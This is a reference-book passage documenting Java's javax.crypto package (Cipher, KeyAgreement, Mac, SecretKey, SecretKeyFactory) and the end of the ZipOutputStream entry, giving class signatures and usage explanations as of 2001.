Before beginning an entry with putNextEntry(), you can set the compression method and level with setMethod() and setLevel(). The constants DEFLATED and STORED are the two legal values for setMethod(). If you use STORED, the entry is stored in the ZIP file without any compression. If you use DEFLATED, you can also specify the compression speed/strength tradeoff by passing a number from 1 to 9 to setLevel(), where 9 gives the strongest and slowest level of compression. You can also use the constants Deflater.BEST_SPEED, Deflater.BEST_COMPRESSION, and Deflater.DEFAULT_COMPRESSION with the setLevel() method.

If you are storing an entry without compression, the ZIP file format requires that you specify, in advance, the entry size and CRC-32 checksum in the ZipEntry object for the entry. An exception is thrown if these values are not specified or specified incorrectly.

public class ZipOutputStream extends DeflaterOutputStream {
// | Public Constructors
 | public ZipOutputStream (java.io.OutputStream out); |
// | Public Constants
 | public static final int DEFLATED ; | =8
 | public static final int STORED ; | =0
// | Public Instance Methods
 | public void closeEntry () throws java.io.IOException; |
 | public void putNextEntry (ZipEntry e) throws java.io.IOException; |
 | public void setComment (String comment); |
 | public void setLevel (int level); |
 | public void setMethod (int method); |
// | Public Methods Overriding DeflaterOutputStream
 | public void close () throws java.io.IOException; |
 | public void finish () throws java.io.IOException; |
 | public void write (byte[ ] b, int off, int len) throws java.io.IOException; | synchronized
}

Hierarchy: Object-->java.io.OutputStream-->java.io.FilterOutputStream-->DeflaterOutputStream-->ZipOutputStream(ZipConstants)

Subclasses: java.util.jar.JarOutputStream

Previous | Home | Next
24.1. The java.util.jar Package | Book Index | 26. The javax.crypto Package
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


The javax.crypto Package (Java in a Nutshell)

 Java Enterprise in a Nutshell Search this book

Chapter 26. The javax.crypto Package

The javax.crypto package defines classes and interfaces for various cryptographic operations. Figure 26-1 shows the class hierarchy of this package. The central class is Cipher, which is used to encrypt and decrypt data. CipherInputStream and CipherOutputStream are utility classes that use a Cipher object to encrypt or decrypt streaming data. SealedObject is another important utility class that uses a Cipher object to encrypt an arbitrary serializable Java object.

Figure 26-1. The javax.crypto package

The KeyGenerator class creates the SecretKey objects used by Cipher for encryption and decryption. SecretKeyFactory encodes and decodes SecretKey objects. The KeyAgreement class enables two or more parties to agree on a SecretKey in such a way that an eavesdropper cannot determine the key. The Mac class computes a message authentication code (MAC) that can ensure the integrity of a transmission between two parties who share a SecretKey. A MAC is akin to a digital signature, except that it is based on a secret key instead of a public/private key pair.

Like the java.security package, the javax.crypto package is provider-based, so that arbitrary cryptographic implementations may be plugged into any Java installation. Various classes in this package have names that end in "Spi". These classes define a service-provider interface and must be implemented by each cryptographic provider that wishes to provide an implementation of a particular cryptographic service or algorithm.

This package is part of the Java Cryptography Extension ( JCE). Sun distributes the JCE within the United States and Canada, but, unfortunately, U.S. export regulations prohibit the export of cryptographic technology to other countries. If you are not a resident of the United States or Canada, you have to obtain and use a third-party implementation of the JCE developed outside of the United States. The JCE is distributed with a cryptographic provider named "SunJCE" that includes a robust set of implementations for Cipher, KeyAgreement, Mac, and other classes. Installing the JCE extension is not the same, however, as installing the SunJCE provider. To make the SunJCE provider permanently available on a Java installation, you must edit the ${java.home}/lib/security/java.security file in the Java installation to add a line such as the following:

security.provider.2=com.sun.crypto.provider.SunJCE

The digit 2 in the line above specifies the preference order of the provider; you can use a different number.

If the SunJCE provider is not statically installed as above, you can dynamically install it in an application with code such as the following:

import java.security.*;
Provider sunjce = new com.sun.crypto.provider.SunJCE();
Security.addProvider(sunjce);

A full tutorial on cryptography is beyond the scope of this chapter and of this book. In order to use this package, you need to have a basic understanding of cryptographic algorithms such as DES. In order to take full advantage of this package, you also need to have a detailed understanding of things like feedback modes, padding schemes, the Diffie-Hellman key-agreement protocol, and so on. For a good introduction to modern cryptography in Java, see Java Cryptography by Jonathan Knudsen (O'Reilly). For more in-depth coverage, not specific to Java, see Applied Cryptography by Bruce Schneier (Wiley).

BadPaddingException | JCE 1.2
javax.crypto | serializable checked

Signals that input data to a Cipher is not padded correctly.

public class BadPaddingException extends java.security.GeneralSecurityException {
// | Public Constructors
 | public BadPaddingException ();
 | public BadPaddingException (String msg);
}

Hierarchy: Object-->Throwable(Serializable)-->Exception-->java.security.GeneralSecurityException-->BadPaddingException

Thrown By: Cipher.doFinal(), CipherSpi.engineDoFinal(), SealedObject.getObject()

Cipher JCE 1.2
javax.crypto

This class performs encryption and decryption of byte arrays. Cipher is provider-based, so to obtain a Cipher object, you must call the static getInstance() factory method. The arguments to this method are a string that describes the type of encryption desired and, optionally, the name of the provider whose implementation should be used. To specify the desired type of encryption, you can simply specify the name of an encryption algorithm, such as "DES". Or you can specify a three-part name that includes the encryption algorithm, the algorithm operating mode, and the padding scheme. These three parts are separated by slash characters, as in "DES/CBC/PKCS5Padding". Finally, if you are requesting a block cipher algorithm in a stream mode, you can specify the number of bits to be processed at a time by following the name of the feedback mode with a number of bits. For example: "DES/CFB8/NoPadding".

The "SunJCE" provider supports the following cryptographic algorithms:

"DES"

The Digital Encryption Standard.

"DESede"

Triple DES encryption, also known as "TripleDES".

"Blowfish"

The Blowfish block cipher designed by Bruce Schneier.

"PBEWithMD5AndDES"

A password-based encryption scheme specified in PKCS#5. This algorithm implicitly uses "CBC" mode and the "PKCS5Padding" padding; it cannot be used with other modes or padding schemes.

"PBEWithMD5AndTripleDES"

Password-based encryption as above, but using DESede instead of DES.

SunJCE supports the following operating modes:

"ECB"

Electronic Codebook mode

"CBC"

Cipher Block Chaining mode

"CFB"

Cipher Feedback mode

"OFB"

Output Feedback mode

"PCBC"

Plaintext Cipher Block Chaining mode

Finally, the "SunJCE" provider also supports two padding schemes: "NoPadding" and "PKCS5Padding". The name "SSL3Padding" is reserved, but this padding scheme is not implemented in the current release of "SunJCE".

Once you have obtained a Cipher object for the desired cryptographic algorithm, mode, and padding scheme, you must initialize it by calling one of the init() methods. The first argument to init() is one of the constants ENCRYPT_MODE or DECRYPT_MODE. The second argument is a java.security.Key object that performs the encryption or decryption. If you use one of the symmetric (i.e., non-public key) encryption algorithms supported by the "SunJCE" provider, this Key object is a SecretKey implementation. You can optionally pass a java.security.SecureRandom object to init() to provide a source of randomness. If you do not, the Cipher implementation provides its own pseudo-random number generator.

Some cryptographic algorithms require additional initialization parameters; these can be passed to init() as a java.security.AlgorithmParameters object or as a java.security.spec.AlgorithmParameterSpec object. When encrypting, you can omit these parameters, and the Cipher implementation uses default values or generates appropriate random parameters for you. In this case, you should call getParameters() after performing encryption to obtain the AlgorithmParameters used to encrypt. These parameters are required in order to decrypt, and must therefore be saved or transferred along with the encrypted data. Of the algorithms supported by the "SunJCE" provider, the block ciphers "DES", "DESede", and "Blowfish" all require an initialization vector when they are used in "CBC", "CFB", "OFB", or "PCBC" mode. You can represent an initialization vector with a javax.crypto.spec.IvParameterSpec object and obtain the raw bytes of the initialization vector used by a Cipher with the getIV() method. The "PBEWithMD5AndDES" algorithm requires a salt and iteration count as parameters. These can be specified with a javax.crypto.spec.PBEParameterSpec object.

Once you have obtained and initialized a Cipher object, you are ready to use it for encryption or decryption. If you have only a single array of bytes to encrypt or decrypt, pass that input array to one of the doFinal() methods. Some versions of this method return the encrypted or decrypted bytes as the return value of the function. Other versions store the encrypted or decrypted bytes to another byte array you specify. If you choose to use one of these latter methods, you should first call getOutputSize() to determine the required size of the output array. If you want to encrypt or decrypt data from a streaming source or have more than one array of data, pass the data to one of the update() methods, calling it as many times as necessary. Then pass the last array of data to one of the doFinal() methods. If you are working with streaming data, consider using the CipherInputStream and CipherOutputStream classes instead.

public class Cipher {
// | Protected Constructors
 | protected Cipher (CipherSpi cipherSpi, java.security.Provider provider, String transformation); |
// | Public Constants
 | public static final int DECRYPT_MODE ; | =2
 | public static final int ENCRYPT_MODE ; | =1
// | Public Class Methods
 | public static final Cipher getInstance (String transformation) throws java.security.NoSuchAlgorithmExceptionNoSuchPaddingException; |
 | public static final Cipher getInstance (String transformation, String provider) throws java.security.NoSuchAlgorithmExceptionjava.security.NoSuchProviderExceptionNoSuchPaddingException; |
// | Property Accessor Methods (by property name)
 | public final String getAlgorithm (); |
 | public final int getBlockSize (); |
 | public final byte[ ] getIV (); |
 | public final java.security.AlgorithmParameters getParameters (); |
 | public final java.security.Provider getProvider (); |
// | Public Instance Methods
 | public final byte[ ] doFinal () throws java.lang.IllegalStateExceptionIllegalBlockSizeExceptionBadPaddingException; |
 | public final byte[ ] doFinal (byte[ ] input) throws java.lang.IllegalStateExceptionIllegalBlockSizeExceptionBadPaddingException; |
 | public final int doFinal (byte[ ] output, int outputOffset) throws java.lang.IllegalStateExceptionIllegalBlockSizeExceptionShortBufferExceptionBadPaddingException; |
 | public final byte[ ] doFinal (byte[ ] input, int inputOffset, int inputLen) throws java.lang.IllegalStateExceptionIllegalBlockSizeExceptionBadPaddingException; |
 | public final int doFinal (byte[ ] input, int inputOffset, int inputLen, byte[ ] output) throws java.lang.IllegalStateExceptionShortBufferExceptionIllegalBlockSizeExceptionBadPaddingException; |
 | public final int doFinal (byte[ ] input, int inputOffset, int inputLen, byte[ ] output, int outputOffset) throws java.lang.IllegalStateExceptionShortBufferExceptionIllegalBlockSizeExceptionBadPaddingException; |
 | public final int getOutputSize (int inputLen) throws java.lang.IllegalStateException; |
 | public final void init (int opmode, java.security.Key key) throws java.security.InvalidKeyException; |
 | public final void init (int opmode, java.security.Key key, java.security.SecureRandom random) throws java.security.InvalidKeyException; |
 | public final void init (int opmode, java.security.Key key, java.security.spec.AlgorithmParameterSpec params) throws java.security.InvalidKeyExceptionjava.security.InvalidAlgorithmParameterException; |
 | public final void init (int opmode, java.security.Key key, java.security.AlgorithmParameters params) throws java.security.InvalidKeyExceptionjava.security.InvalidAlgorithmParameterException; |
 | public final void init (int opmode, java.security.Key key, java.security.spec.AlgorithmParameterSpec params, java.security.SecureRandom random) throws java.security.InvalidKeyExceptionjava.security.InvalidAlgorithmParameterException; |
 | public final void init (int opmode, java.security.Key key, java.security.AlgorithmParameters params, java.security.SecureRandom random) throws java.security.InvalidKeyExceptionjava.security.InvalidAlgorithmParameterException; |
 | public final byte[ ] update (byte[ ] input) throws java.lang.IllegalStateException; |
 | public final byte[ ] update (byte[ ] input, int inputOffset, int inputLen) throws java.lang.IllegalStateException; |
 | public final int update (byte[ ] input, int inputOffset, int inputLen, byte[ ] output) throws java.lang.IllegalStateExceptionShortBufferException; |
 | public final int update (byte[ ] input, int inputOffset, int inputLen, byte[ ] output, int outputOffset) throws java.lang.IllegalStateExceptionShortBufferException; |
}

Subclasses: NullCipher

Passed To: CipherInputStream.CipherInputStream(), CipherOutputStream.CipherOutputStream(), SealedObject.{getObject(), SealedObject()}

Returned By: Cipher.getInstance()

CipherInputStream JCE 1.2
javax.crypto

This class is an input stream that uses a Cipher object to encrypt or decrypt the bytes it reads from another stream. You must initialize the Cipher object before passing it to the CipherInputStream() constructor.

public class CipherInputStream extends java.io.FilterInputStream {
// | Public Constructors
 | public CipherInputStream (java.io.InputStream is, Cipher c); |
// | Protected Constructors
 | protected CipherInputStream (java.io.InputStream is); |
// | Public Methods Overriding FilterInputStream
 | public int available () throws java.io.IOException; |
 | public void close () throws java.io.IOException; |
 | public boolean markSupported (); | constant
 | public int read () throws java.io.IOException; |
 | public int read (byte[ ] b) throws java.io.IOException; |
 | public int read (byte[ ] b, int off, int len) throws java.io.IOException; |
 | public long skip (long n) throws java.io.IOException; |
}

Hierarchy: Object-->java.io.InputStream-->java.io.FilterInputStream-->CipherInputStream

CipherOutputStream JCE 1.2
javax.crypto

This class is an output stream that uses a Cipher object to encrypt or decrypt bytes before passing them to another output stream. You must initialize the Cipher object before passing it to the CipherOutputStream() constructor. If you are using a Cipher with any kind of padding, you must not call flush() until you are done writing all data to the stream; otherwise decryption fails.

public class CipherOutputStream extends java.io.FilterOutputStream {
// | Public Constructors
 | public CipherOutputStream (java.io.OutputStream os, Cipher c);
// | Protected Constructors
 | protected CipherOutputStream (java.io.OutputStream os);
// | Public Methods Overriding FilterOutputStream
 | public void close () throws java.io.IOException;
 | public void flush () throws java.io.IOException;
 | public void write (byte[ ] b) throws java.io.IOException;
 | public void write (int b) throws java.io.IOException;
 | public void write (byte[ ] b, int off, int len) throws java.io.IOException;
}

Hierarchy: Object-->java.io.OutputStream-->java.io.FilterOutputStream-->CipherOutputStream

CipherSpi JCE 1.2
javax.crypto

This abstract class defines the service-provider interface for Cipher. A cryptographic provider must implement a concrete subclass of this class for each encryption algorithm it supports. A provider can implement a separate class for each combination of algorithm, mode, and padding scheme it supports or implement more general classes and leave the mode and/or padding scheme to be specified in calls to engineSetMode() and engineSetPadding(). Applications never need to use or subclass this class.

public abstract class CipherSpi {
// | Public Constructors
 | public CipherSpi ();
// | Protected Instance Methods
 | protected abstract byte[ ] engineDoFinal (byte[ ] input, int inputOffset, int inputLen) throws IllegalBlockSizeExceptionBadPaddingException;
 | protected abstract int engineDoFinal (byte[ ] input, int inputOffset, int inputLen, byte[ ] output, int outputOffset) throws ShortBufferExceptionIllegalBlockSizeExceptionBadPaddingException;
 | protected abstract int engineGetBlockSize ();
 | protected abstract byte[ ] engineGetIV ();
 | protected abstract int engineGetOutputSize (int inputLen);
 | protected abstract java.security.AlgorithmParameters engineGetParameters ();
 | protected abstract void engineInit (int opmode, java.security.Key key, java.security.SecureRandom random) throws java.security.InvalidKeyException;
 | protected abstract void engineInit (int opmode, java.security.Key key, java.security.spec.AlgorithmParameterSpec params, java.security.SecureRandom random) throws java.security.InvalidKeyExceptionjava.security.InvalidAlgorithmParameterException;
 | protected abstract void engineInit (int opmode, java.security.Key key, java.security.AlgorithmParameters params, java.security.SecureRandom random) throws java.security.InvalidKeyExceptionjava.security.InvalidAlgorithmParameterException;
 | protected abstract void engineSetMode (String mode) throws java.security.NoSuchAlgorithmException;
 | protected abstract void engineSetPadding (String padding) throws NoSuchPaddingException;
 | protected abstract byte[ ] engineUpdate (byte[ ] input, int inputOffset, int inputLen);
 | protected abstract int engineUpdate (byte[ ] input, int inputOffset, int inputLen, byte[ ] output, int outputOffset) throws ShortBufferException;
}

Passed To: Cipher.Cipher()

IllegalBlockSizeException | JCE 1.2
javax.crypto | serializable checked

Signals that the length of data provided to a block cipher (as implemented, for example, by Cipher and SealedObject) does not match the block size for the cipher.

public class IllegalBlockSizeException extends java.security.GeneralSecurityException {
// | Public Constructors
 | public IllegalBlockSizeException ();
 | public IllegalBlockSizeException (String msg);
}

Hierarchy: Object-->Throwable(Serializable)-->Exception-->java.security.GeneralSecurityException-->IllegalBlockSizeException

Thrown By: Cipher.doFinal(), CipherSpi.engineDoFinal(), SealedObject.{getObject(), SealedObject()}

KeyAgreement JCE 1.2
javax.crypto

This class provides an API to a key-agreement protocol that allows two or more parties to agree on a secret key without exchanging any secrets and in such a way that an eavesdropper listening in on the communication between those parties cannot determine the secret key. The KeyAgreement class is algorithm-independent and provider-based, so you must obtain a KeyAgreement object by calling one of the static getInstance() factory methods and specifying the name of the desired key agreement algorithm and, optionally, the name of the desired provider of that algorithm. The "SunJCE" provider implements a single key-agreement algorithm named "DiffieHellman".

To use a KeyAgreement object, each party first calls the init() method and supplies a Key object of its own. Then, each party obtains a Key object from one of the other parties to the agreement and calls doPhase(). Each party obtains an intermediate Key object as the return value of doPhase(), and these keys are again exchanged and passed to doPhase(). This process typically repeats n-1 times, where n is the number of parties, but the actual number of repetitions is algorithm-dependent. When doPhase() is called the last time, the second argument must be true to indicate that it is the last phase of the agreement. After all calls to doPhase() have been made, each party calls generateSecret() to obtain an array of bytes or a SecretKey object for a named algorithm type. All parties obtain the same bytes or SecretKey from this method. The KeyAgreement class is not responsible for the transfer of Key objects between parties or for mutual authentication among the parties. These tasks must be accomplished through some external mechanism.

The most common type of key agreement is "DiffieHellman" key agreement between two parties. It proceeds as follows. First, both parties obtain a java.security.KeyPairGenerator for the "DiffieHellman" algorithm and use it to generate a java.security.KeyPair of Diffie-Hellman public and private keys. Each party passes its private key to the init() method of its KeyAgreement object. (The init() method can be passed a java.security.spec.AlgorithmParameterSpec object, but the Diffie-Hellman protocol does not require any additional parameters.) Next, the two parties exchange public keys, typically through some kind of networking mechanism (the KeyAgreement class is not responsible for the actual exchange of keys). Each party passes the public key of the other party to the doPhase() method of its KeyAgreement object. There are only two parties to this agreement, so only one phase is required, and the second argument to doPhase() is true. At this point, both parties call generateSecret() to obtain the shared secret key.

A three-party Diffie-Hellman key agreement requires two phases and is slightly more complicated. Let's call the three parties Alice, Bob, and Carol. Each generates a key pair and uses its private key to initialize its KeyAgreement object, as before. Then Alice passes her public key to Bob, Bob passes his to Carol, and Carol passes hers to Alice. Each party passes this public key to doPhase(). Since this is not the final doPhase(), the second argument is false, and doPhase() returns an intermediate Key object. The three parties exchange these intermediate keys again in the same way: Alice to Bob, Bob to Carol, and Carol to Alice. Now each party passes the intermediate key it has received to doPhase() a second time, passing true to indicate that this is the final phase. Finally, all three can call generateSecret() to obtain a shared key to encrypt future communication.

public class KeyAgreement {
// | Protected Constructors
 | protected KeyAgreement (KeyAgreementSpi keyAgreeSpi, java.security.Provider provider, String algorithm);
// | Public Class Methods
 | public static final KeyAgreement getInstance (String algorithm) throws java.security.NoSuchAlgorithmException;
 | public static final KeyAgreement getInstance (String algorithm, String provider) throws java.security.NoSuchAlgorithmExceptionjava.security.NoSuchProviderException;
// | Public Instance Methods
 | public final java.security.Key doPhase (java.security.Key key, boolean lastPhase) throws java.security.InvalidKeyExceptionjava.lang.IllegalStateException;
 | public final byte[ ] generateSecret () throws java.lang.IllegalStateException;
 | public final SecretKey generateSecret (String algorithm) throws java.lang.IllegalStateExceptionjava.security.NoSuchAlgorithmExceptionjava.security.InvalidKeyException;
 | public final int generateSecret (byte[ ] sharedSecret, int offset) throws java.lang.IllegalStateExceptionShortBufferException;
 | public final String getAlgorithm ();
 | public final java.security.Provider getProvider ();
 | public final void init (java.security.Key key) throws java.security.InvalidKeyException;
 | public final void init (java.security.Key key, java.security.spec.AlgorithmParameterSpec params) throws java.security.InvalidKeyExceptionjava.security.InvalidAlgorithmParameterException;
 | public final void init (java.security.Key key, java.security.SecureRandom random) throws java.security.InvalidKeyException;
 | public final void init (java.security.Key key, java.security.spec.AlgorithmParameterSpec params, java.security.SecureRandom random) throws java.security.InvalidKeyExceptionjava.security.InvalidAlgorithmParameterException;
}

Returned By: KeyAgreement.getInstance()

KeyAgreementSpi JCE 1.2
javax.crypto

This abstract class defines the service-provider interface for KeyAgreement. A cryptographic provider must implement a concrete subclass of this class for each encryption algorithm it supports. Applications never need to use or subclass this class.

public abstract class KeyAgreementSpi {
// | Public Constructors
 | public KeyAgreementSpi ();
// | Protected Instance Methods
 | protected abstract java.security.Key engineDoPhase (java.security.Key key, boolean lastPhase) throws java.security.InvalidKeyExceptionjava.lang.IllegalStateException;
 | protected abstract byte[ ] engineGenerateSecret () throws java.lang.IllegalStateException;
 | protected abstract SecretKey engineGenerateSecret (String algorithm) throws java.lang.IllegalStateExceptionjava.security.NoSuchAlgorithmExceptionjava.security.InvalidKeyException;
 | protected abstract int engineGenerateSecret (byte[ ] sharedSecret, int offset) throws java.lang.IllegalStateExceptionShortBufferException;
 | protected abstract void engineInit (java.security.Key key, java.security.SecureRandom random) throws java.security.InvalidKeyException;
 | protected abstract void engineInit (java.security.Key key, java.security.spec.AlgorithmParameterSpec params, java.security.SecureRandom random) throws java.security.InvalidKeyExceptionjava.security.InvalidAlgorithmParameterException;
}

Passed To: KeyAgreement.KeyAgreement()

KeyGenerator JCE 1.2
javax.crypto

This class provides an API for generating secret keys for symmetric cryptography. It is similar to java.security.KeyPairGenerator, which generates public/private key pairs for asymmetric or public-key cryptography. KeyGenerator is algorithm-independent and provider-based, so you must obtain a KeyGenerator instance by calling one of the static getInstance() factory methods and specifying the name of the cryptographic algorithm for which a key is desired and, optionally, the name of the security provider whose key-generation implementation is to be used. The "SunJCE" provider includes KeyGenerator implementations for the "DES", "DESede", and "Blowfish" encryption algorithms, and also for the "HmacMD5" and "HmacSHA1" message authentication (MAC) algorithms.

Once you have obtained a KeyGenerator, you initialize it with the init() method. You can provide a java.security.spec.AlgorithmParameterSpec object to provide algorithm-specific initialization parameters or simply specify the desired size (in bits) of the key to be generated. In either case, you can also specify a source of randomness in the form of a SecureRandom object. If you do not specify a SecureRandom, the KeyGenerator instantiates one of its own. None of the algorithms supported by the "SunJCE" provider require algorithm-specific parameters.

After calling getInstance() to obtain a KeyGenerator and init() to initialize it, simply call generateKey() to create a new SecretKey. Remember that the SecretKey must be kept secret. Take precautions when storing or transmitting the key, so that it does not fall into the wrong hands. You may want to use a java.security.KeyStore object to store the key in a password-protected form.

public class KeyGenerator {
// | Protected Constructors
 | protected KeyGenerator (KeyGeneratorSpi keyGenSpi, java.security.Provider provider, String algorithm);
// | Public Class Methods
 | public static final KeyGenerator getInstance (String algorithm) throws java.security.NoSuchAlgorithmException;
 | public static final KeyGenerator getInstance (String algorithm, String provider) throws java.security.NoSuchAlgorithmExceptionjava.security.NoSuchProviderException;
// | Public Instance Methods
 | public final SecretKey generateKey ();
 | public final String getAlgorithm ();
 | public final java.security.Provider getProvider ();
 | public final void init (java.security.spec.AlgorithmParameterSpec params) throws java.security.InvalidAlgorithmParameterException;
 | public final void init (java.security.SecureRandom random);
 | public final void init (int keysize);
 | public final void init (java.security.spec.AlgorithmParameterSpec params, java.security.SecureRandom random) throws java.security.InvalidAlgorithmParameterException;
 | public final void init (int keysize, java.security.SecureRandom random);
}

Returned By: KeyGenerator.getInstance()

KeyGeneratorSpi JCE 1.2
javax.crypto

This abstract class defines the service-provider interface for KeyGenerator. A cryptographic provider must implement a concrete subclass of this class for each key-generation algorithm it supports. Applications never need to use or subclass this class.

public abstract class KeyGeneratorSpi {
// | Public Constructors
 | public KeyGeneratorSpi ();
// | Protected Instance Methods
 | protected abstract SecretKey engineGenerateKey ();
 | protected abstract void engineInit (java.security.SecureRandom random);
 | protected abstract void engineInit (java.security.spec.AlgorithmParameterSpec params, java.security.SecureRandom random) throws java.security.InvalidAlgorithmParameterException;
 | protected abstract void engineInit (int keysize, java.security.SecureRandom random);
}

Passed To: KeyGenerator.KeyGenerator()

Mac | JCE 1.2
javax.crypto | cloneable

This class defines an API for computing a message authentication code (MAC) that can check the integrity of information transmitted between two parties that share a secret key. A MAC is similar to a digital signature, except that it is generated with a secret key rather than with a public/private key pair. The Mac class is algorithm-independent and provider-based. Obtain a Mac object by calling one of the static getInstance() factory methods and specifying the name of the desired MAC algorithm and, optionally, the name of the provider of the desired implementation. The "SunJCE" provider implements two algorithms: "HmacMD5" and "HmacSHA1". These are MAC algorithms based on the MD5 and SHA-1 cryptographic hash functions.

After obtaining a Mac object, initialize it by calling the init() method and specifying a SecretKey and, optionally, a java.security.spec.AlgorithmParameterSpec object. The "HmacMD5" and "HmacSHA1" algorithms can use any kind of SecretKey; they are not restricted to a particular cryptographic algorithm. And neither algorithm requires an AlgorithmParameterSpec object.

After obtaining and initializing a Mac object, specify the data for which the MAC is to be computed. If the data is contained in a single byte array, simply pass it to doFinal(). If the data is streaming or is stored in various locations, you can supply the data in multiple calls to update(). End the series of update() calls with a single call to doFinal(). Note that some versions of doFinal() return the MAC data as the function return value. Another version stores the MAC data in a byte array you supply. If you use this version of doFinal(), be sure to call getMacLength() to instantiate an array of the correct length.

A call to doFinal() resets the internal state of a Mac object. If you want to compute a MAC for part of your data and then proceed to compute the MAC for the full data, you should clone() the Mac object before calling doFinal(). Note, however, that Mac implementations are not required to implement Cloneable.

public class Mac implements Cloneable {
// | Protected Constructors
 | protected Mac (MacSpi macSpi, java.security.Provider provider, String algorithm);
// | Public Class Methods
 | public static final Mac getInstance (String algorithm) throws java.security.NoSuchAlgorithmException;
 | public static final Mac getInstance (String algorithm, String provider) throws java.security.NoSuchAlgorithmExceptionjava.security.NoSuchProviderException;
// | Public Instance Methods
 | public final byte[ ] doFinal () throws java.lang.IllegalStateException;
 | public final byte[ ] doFinal (byte[ ] input) throws java.lang.IllegalStateException;
 | public final void doFinal (byte[ ] output, int outOffset) throws ShortBufferExceptionjava.lang.IllegalStateException;
 | public final String getAlgorithm ();
 | public final int getMacLength ();
 | public final java.security.Provider getProvider ();
 | public final void init (java.security.Key key) throws java.security.InvalidKeyException;
 | public final void init (java.security.Key key, java.security.spec.AlgorithmParameterSpec params) throws java.security.InvalidKeyExceptionjava.security.InvalidAlgorithmParameterException;
 | public final void reset ();
 | public final void update (byte[ ] input) throws java.lang.IllegalStateException;
 | public final void update (byte input) throws java.lang.IllegalStateException;
 | public final void update (byte[ ] input, int offset, int len) throws java.lang.IllegalStateException;
// | Public Methods Overriding Object
 | public final Object clone () throws CloneNotSupportedException;
}

Hierarchy: Object-->Mac(Cloneable)

Returned By: Mac.getInstance()

MacSpi JCE 1.2
javax.crypto

This abstract class defines the service-provider interface for Mac. A cryptographic provider must implement a concrete subclass of this class for each MAC algorithm it supports. Applications never need to use or subclass this class.

public abstract class MacSpi {
// | Public Constructors
 | public MacSpi ();
// | Public Methods Overriding Object
 | public Object clone () throws CloneNotSupportedException;
// | Protected Instance Methods
 | protected abstract byte[ ] engineDoFinal ();
 | protected abstract int engineGetMacLength ();
 | protected abstract void engineInit (java.security.Key key, java.security.spec.AlgorithmParameterSpec params) throws java.security.InvalidKeyExceptionjava.security.InvalidAlgorithmParameterException;
 | protected abstract void engineReset ();
 | protected abstract void engineUpdate (byte input);
 | protected abstract void engineUpdate (byte[ ] input, int offset, int len);
}

Passed To: Mac.Mac()

NoSuchPaddingException | JCE 1.2
javax.crypto | serializable checked

Signals that no implementation of the requested padding scheme can be found.

public class NoSuchPaddingException extends java.security.GeneralSecurityException {
// | Public Constructors
 | public NoSuchPaddingException ();
 | public NoSuchPaddingException (String msg);
}

Hierarchy: Object-->Throwable(Serializable)-->Exception-->java.security.GeneralSecurityException-->NoSuchPaddingException

Thrown By: Cipher.getInstance(), CipherSpi.engineSetPadding()

NullCipher JCE 1.2
javax.crypto

This trivial subclass of Cipher implements an identity cipher that does not transform plain text in any way. Unlike Cipher objects returned by Cipher.getInstance(), a NullCipher must be created with the NullCipher() constructor.

public class NullCipher extends Cipher {
// | Public Constructors
 | public NullCipher ();
}

Hierarchy: Object-->Cipher-->NullCipher

SealedObject | JCE 1.2
javax.crypto | serializable

This class is a wrapper around a serializable object. It serializes the object and encrypts the resulting data stream, thereby protecting the confidentiality of the object. Create a SealedObject by specifying the object to be sealed and a Cipher object to perform the encryption. Retrieve the sealed object by calling getObject() and specifying the Cipher or java.security.Key to use for decryption. The SealedObject keeps track of the encryption algorithm and parameters so that a Key object alone can decrypt the object.

public class SealedObject implements Serializable {
// | Public Constructors
 | public SealedObject (Serializable object, Cipher c) throws java.io.IOExceptionIllegalBlockSizeException;
// | Public Instance Methods
 | public final String getAlgorithm ();
 | public final Object getObject (java.security.Key key) throws java.io.IOExceptionClassNotFoundExceptionjava.security.NoSuchAlgorithmExceptionjava.security.InvalidKeyException;
 | public final Object getObject (Cipher c) throws java.io.IOExceptionClassNotFoundExceptionIllegalBlockSizeExceptionBadPaddingException;
 | public final Object getObject (java.security.Key key, String provider) throws java.io.IOExceptionClassNotFoundExceptionjava.security.NoSuchAlgorithmExceptionjava.security.NoSuchProviderExceptionjava.security.InvalidKeyException;
}

Hierarchy: Object-->SealedObject(Serializable)

SecretKey | JCE 1.2
javax.crypto | serializable

This interface represents a secret key used for symmetric cryptographic algorithms that depend on both the sender and receiver knowing the same secret. SecretKey extends the java.security.Key interface, but does not add any new methods. The interface exists in order to keep secret keys distinct from the public and private keys used in public-key, or asymmetric, cryptography. See also java.security.PublicKey and java.security.PrivateKey.

A secret key is nothing more than arrays of bytes and does not require a specialized encoding format. Therefore, an implementation of this interface should return the format name "RAW" from getFormat() and should return the bytes of the key from getEncoded(). (These two methods are defined by the java.security.Key interface that SecretKey extends.)

public abstract interface SecretKey extends java.security.Key {
}

Hierarchy: (SecretKey(java.security.Key(Serializable)))

Implementations: javax.crypto.spec.SecretKeySpec

Passed To: SecretKeyFactory.{getKeySpec(), translateKey()}, SecretKeyFactorySpi.{engineGetKeySpec(), engineTranslateKey()}

Returned By: KeyAgreement.generateSecret(), KeyAgreementSpi.engineGenerateSecret(), KeyGenerator.generateKey(), KeyGeneratorSpi.engineGenerateKey(), SecretKeyFactory.{generateSecret(), translateKey()}, SecretKeyFactorySpi.{engineGenerateSecret(), engineTranslateKey()}

SecretKeyFactory JCE 1.2
javax.crypto

This class defines an API for translating a secret key between its opaque SecretKey representation and its transparent javax.crypto.SecretKeySpec representation. It is much like java.security.KeyFactory, except that it works with secret (or symmetric) keys rather than with public and private (asymmetric) keys. SecretKeyFactory is algorithm-independent and provider-based, so you must obtain a SecretKeyFactory object by calling one of the static getInstance() factory methods and specifying the name of the desired secret-key algorithm and, optionally, the name of the provider whose implementation is desired. The "SunJCE" provider provides SecretKeyFactory implementations for the "DES", "DESede", and "PBEWithMD5AndDES" algorithms.

Once you have obtained a SecretKeyFactory, use generateSecret() to create a SecretKey from a java.security.spec.KeySpec (or its subclass, javax.crypto.spec.SecretKeySpec). Or call getKeySpec() to obtain a KeySpec for a Key object. Because there can be more than one suitable type of KeySpec, getKeySpec() requires a Class object to specify the type of the KeySpec to be created. See also DESKeySpec, DESedeKeySpec, and PBEKeySpec in the javax.crypto.spec package.

public class SecretKeyFactory {
// | Protected Constructors
 | protected SecretKeyFactory (SecretKeyFactorySpi keyFacSpi, java.security.Provider provider, String algorithm);
// | Public Class Methods
 | public static final SecretKeyFactory getInstance (String algorithm) throws java.security.NoSuchAlgorithmException;
 | public static final SecretKeyFactory getInstance (String algorithm, String provider) throws java.security.NoSuchAlgorithmExceptionjava.security.NoSuchProviderException;
// | Public Instance Methods
 | public final SecretKey generateSecret (java.security.spec.KeySpec keySpec) throws java.security.spec.InvalidKeySpecException;
